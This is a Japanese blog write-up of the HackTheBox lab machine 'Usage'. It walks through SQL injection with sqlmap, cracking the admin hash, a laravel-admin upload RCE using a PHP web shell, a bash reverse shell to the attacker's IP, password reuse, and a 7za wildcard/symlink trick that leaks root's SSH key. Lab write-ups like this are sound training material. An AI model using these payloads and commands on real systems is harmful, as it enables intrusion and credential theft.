1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

今回はHackTheBoxのEasyマシン「Usage」のWriteUpです!
名前からは特にマシンの色が見えませんね。楽しみです。

image.png

グラフは普通のEasyという感じですね。
評価が3点台なので少し癖が強そうな気もしますが、攻略目指して頑張ります!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Usage

列挙

それでは攻略を始めましょう!
まずはnmapから実行していきます。

+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.18 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)

22番と80番がオープンしています。
ブラウザからWEBにアクセスしてみましょう。

image.png

ログイン画面が表示されました。簡単にSQLインジェクションを試しましたが、発火しそうにありません。
画面右上を見ると、「Register」というリンクがあるので押下します。

image.png

ユーザを追加することができそうです。試しに登録し、ログインしてみましょう。

image.png

ログインに成功しましたが、ブログが表示されるだけで特に気になるものはありません。目で見える遷移もなさそうです。
再度ログアウトし、画面右上の「Admin」を押下してみました。

image.png

管理者ログイン画面が表示されました。こちらも簡単にSQLインジェクションを試しましたが、発火しませんでした。

SQL Injection

確認した箇所すべてで特に情報が落ちず、何もすることがないような...と手が止まりかけていましたが、一番最初のログイン画面でパスワードリセット画面への遷移リンクがあることを思い出しました。

image.png

試しに押下してみましょう。

image.png

よく見るパスワードリセット画面が表示されました。あまりこの画面で脆弱性が発火することはない気がしますが、とりあえず適当な値を入力してみます。

image.png

適当な値(email@email.com)を入力すると、「メールアドレスは記録と一致しない」というメッセージが出力されました。このメッセージが示すのは入力値がデータベースと参照されていることです。つまりSQLインジェクションが発火する可能性があるため、シングルクォート(')を付与し、再度リクエストを送信します。

image.png

500番エラーになりました!SQLインジェクションに脆弱であることがわかったので、リクエストをテキストファイルに保存し、sqlmapを実行しましょう。

+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ sqlmap -r request.txt --batch --level 5 --risk 3
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org


---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=O1oHieHOFlwgRHkSkE5qyXcsAcVDXvUii9ivZUJq&email=' AND 5560=(SELECT (CASE WHEN (5560=5560) THEN 5560 ELSE (SELECT 1116 UNION SELECT 2157) END))-- vIPu

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: _token=O1oHieHOFlwgRHkSkE5qyXcsAcVDXvUii9ivZUJq&email=' AND 4791=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- fcnU
---

うまくSQLインジェクションを検出できました!続いてデータベースを列挙します。

+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ sqlmap -r request.txt --batch --level 5 --risk 3
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

---
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
---

データベースを列挙し、今回のオリジナルであるusage_blogというデータベースを発見しました。テーブルを列挙しましょう。

+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ sqlmap -r request.txt --batch --level 5 --risk 3 -D usage_blog --tables
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

---
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+
---

テーブルを列挙できました。この中で特に気になるのはadmin_usersです。
テーブルをダンプしましょう。

+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ sqlmap -r request.txt --batch --level 5 --risk 3 -D usage_blog -T admin_users --dump
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

---
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2024-08-18 00:08:39 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
---

管理者のハッシュ化されたパスワードが取得できました。johnで解読できるか試してみましょう。

+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1        (?)     
1g 0:00:00:07 DONE (2024-08-18 06:15) 0.1254g/s 203.2p/s 203.2c/s 203.2C/s maggie1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

パスワードが解読できました。パスワードを取得できたので、管理者ログインページでログインしましょう。

image.png

ログインに成功しました!

CVE-2023-24249

ログイン後のダッシュボードには、PHPのバージョンやLaravelのバージョンなど様々な情報が表示されています。少し下に移動すると、各ソフトウェアのバージョンもありました。

image.png

それぞれのバージョンで脆弱性が存在しないか調査していると、以下のページを発見しました。

どうやらlaravel-adminのバージョン1.8.19以下には、ファイルアップロードの脆弱性があり、WEBシェルをアップロードすることで、RCEが発火するようです。今回使用されているバージョンは1.8.18であるため、この脆弱性が存在します。実際に攻撃していきましょう。
まず右上のAdministratorのアイコンを押下し、「Setting」を押下します。

image.png

ユーザの設定画面が表示されます。脆弱性は画像を設定するアバターの部分で発火します。
では、WEBシェルとなるPHPファイルを用意しましょう。コードは以下です。

<?php system($_GET['cmd']); ?>

いつものやつですね。では脆弱性を悪用しアップロードしていきましょう。
まず用意したPHPコードをshell.jpgとして保存しておき、「Browse」を押下して選択します。

image.png

選択できたら、「Submit」でアップロードしますが、アップロードする際に拡張子を.phpへ変更させるためBurp Suiteなどのプロキシを使用してリクエストを捕捉してください。

image.png

変更できたら、「Foward」を押下しリクエストを送信します。

image.png

アップロードに成功しました!
あとはこのファイルにアクセスし、コードを実行するだけです。アップロード先は/uploads/images/です。パラメータとして?cmd=idを付与し、アクセスすると...

image.png

idコマンドが実行されました!

dash としてのシェル

それではシェルを取得しましょう。まずは待ち受けを開始します。

+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ nc -lnvp 2121  
listening on [any] 2121 ...

後はコマンドを実行するだけです。実行するコマンドは以下です。

bash -c 'bash -i >& /dev/tcp/10.10.14.2/2121 0>&1'

上記のコマンドをURLエンコードし、cmdパラメータの値として指定します。
WEB上では特に変化ないですが、待ち受けを確認すると...

+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ nc -lnvp 2121  
listening on [any] 2121 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.18] 39278
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$ id    
uid=1000(dash) gid=1000(dash) groups=1000(dash)

侵入に成功しました!

dash@usage:~$ ls -l
total 4
-rw-r----- 1 root dash 33 Aug 17 22:50 user.txt

ユーザフラグも取得できました。

水平権限昇格

それではここから権限昇格を目指していきましょう。と思いましたが、homeディレクトリを確認すると...

dash@usage:/home$ ls -l
total 8
drwxr-x--- 6 dash   dash   4096 Aug 18 00:15 dash
drwxr-x--- 4 xander xander 4096 Apr  2 20:25 xander

xanderというユーザが存在しています。移動が必要そうな気がするので、xanderの認証情報等を取得できないか列挙していきます。
まずはdashユーザのホームディレクトリを見てみましょう。

dash@usage:~$ ls -la
total 52
drwxr-x--- 6 dash dash 4096 Aug 18 10:15 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash    6 Aug 18 10:15 .monit.pid
-rwx------ 1 dash dash  707 Oct 26  2023 .monitrc
-rw------- 1 dash dash 1192 Aug 18 10:15 .monit.state
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Aug 17 22:50 user.txt

ユーザフラグのほかに、隠しファイルがいくつかあります。xanderユーザへつながる情報がないか確認していると...

dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring 
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert 
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert

.monitrcにパスワードが記載されていました。

xander としてのシェル

パスワードを取得したので、xanderのログインで使用できないか試してみましょう。

dash@usage:~$ su xander
Password: 
xander@usage:/home/dash$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)

パスワードを使用することができました!移動成功です。

垂直権限昇格

それではここからrootを目指していきましょう。
まずはいつものsudo -lを実行します。

xander@usage:/home/dash$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

どうやらusage_managementがパスワードなしで実行できるようです。
とりあえず実行してみましょう。

xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):

実行すると、3つのオプションが表示されました。
はじめに「1. Project Backup」を選択してみます。

Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Scanning the drive:
2984 folders, 17972 files, 114778695 bytes (110 MiB)

Creating archive: /var/backups/project.zip

Items to compress: 20956

                                                                               
Files read from disk: 17972
Archive size: 54871391 bytes (53 MiB)
Everything is Ok

選択後、project.zipというZIPファイルが作成されています。名前の通り、バックアップを作成するようですね。
次に「2. Backup MySQL data」を選択します。

Enter your choice (1/2/3): 2
xander@usage:~$

特に出力がないまま終了してしまいました。名前からして、MySQLのバックアップを作成しているような気がしますが、とりあえず「3. Reset admin password」にいきましょう。

Enter your choice (1/2/3): 3
Password has been reset.

パスワードがリセットされたというメッセージが表示されました。が情報が少なすぎるので、stringsコマンドを実行してみます。

xander@usage:~$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
...
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
...

実行をイメージするには十分な情報が出力されました。みたところ、オプション1を選択した場合、/var/www/html配下に対して7zaを実行しているようです。また、オプション2を指定した時は、mysqldumpが実行されています。オプション3に関しては、文字列を出力しているだけのような気もします。

7z Exploit

使用されているコマンドがわかったので、権限昇格につながる恐れがないか調べると以下の記事を発見しました。

どうやら、7zaでワイルドカード(*)が使用されている場合、シンボリックリンクを使用してroot.txtなどのファイルを読み取り可能になります。

例えばroot.txtを読み取りたい場合、@testというファイルとroot.txtへのシンボリックリンクであるtestというファイルを作成することで、7za実行時にエラー文からroot.txtの内容を読み取ることが可能です。エラーが発生する理由は@testtestの内容を読み取る役割をすることで、7zatestの内容(実際はroot.txtの内容)でファイルを探索し、そのファイルが存在しないことから、エラーメッセージに「 【root.txtの内容】というファイルは存在しません」というエラーを出力します。

今回はrootのSSH秘密鍵の取得を試みます。
まず、/var/www/html配下に@testを作成します。

xander@usage:/var/www/html$ touch @test

次に、rootの秘密鍵のシンボリックリンクをtestという名前で作成します。

xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa test

ここまでできれば準備完了です!/usr/bin/usage_managementを実行しましょう。

xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Open archive: /var/backups/project.zip
--       
Path = /var/backups/project.zip
Type = zip
Physical Size = 54871391

Scanning the drive:
          
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----

2984 folders, 17973 files, 114779094 bytes (110 MiB)     

SSH秘密鍵の内容が出力されました!

root としてのシェル

それでは、出力されたSSH秘密鍵を使用して権限昇格しましょう。

+[~/usage]
(σ▰>∇<)σ<10.10.14.5>$ ssh -i id_rsa root@10.10.11.18
root@usage:~# whoami
root

権限昇格成功です〜!

root@usage:~# ls -l
total 16
-rwxr-xr-x 1 root root  307 Apr  3 13:24 cleanup.sh
-rw-r----- 1 root root   33 Aug 28 12:15 root.txt
drwx------ 3 root root 4096 Aug  6  2023 snap
-rw-r--r-- 1 root root 1444 Oct 28  2023 usage_management.c

ルートフラグも取得し、無事完全攻略達成です〜!

攻略を終えて

今回のマシンも攻略していて楽しいマシンでした。権限昇格の道のりまでは少し長かったようにも感じますが、SQLインジェクションやファイルアップロードによるRCEは素直に発火したので、初心者にもやさしいマシンかなと思いました。権限昇格は7zaでワイルドカードが使用されていることを悪用しましたが、初めて見るものだったので「こんな形で情報漏洩につながるのか」と驚きました。楽しみながら新しい知識も得ることができたので、なぜ評価が低かったのか謎ですね笑
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?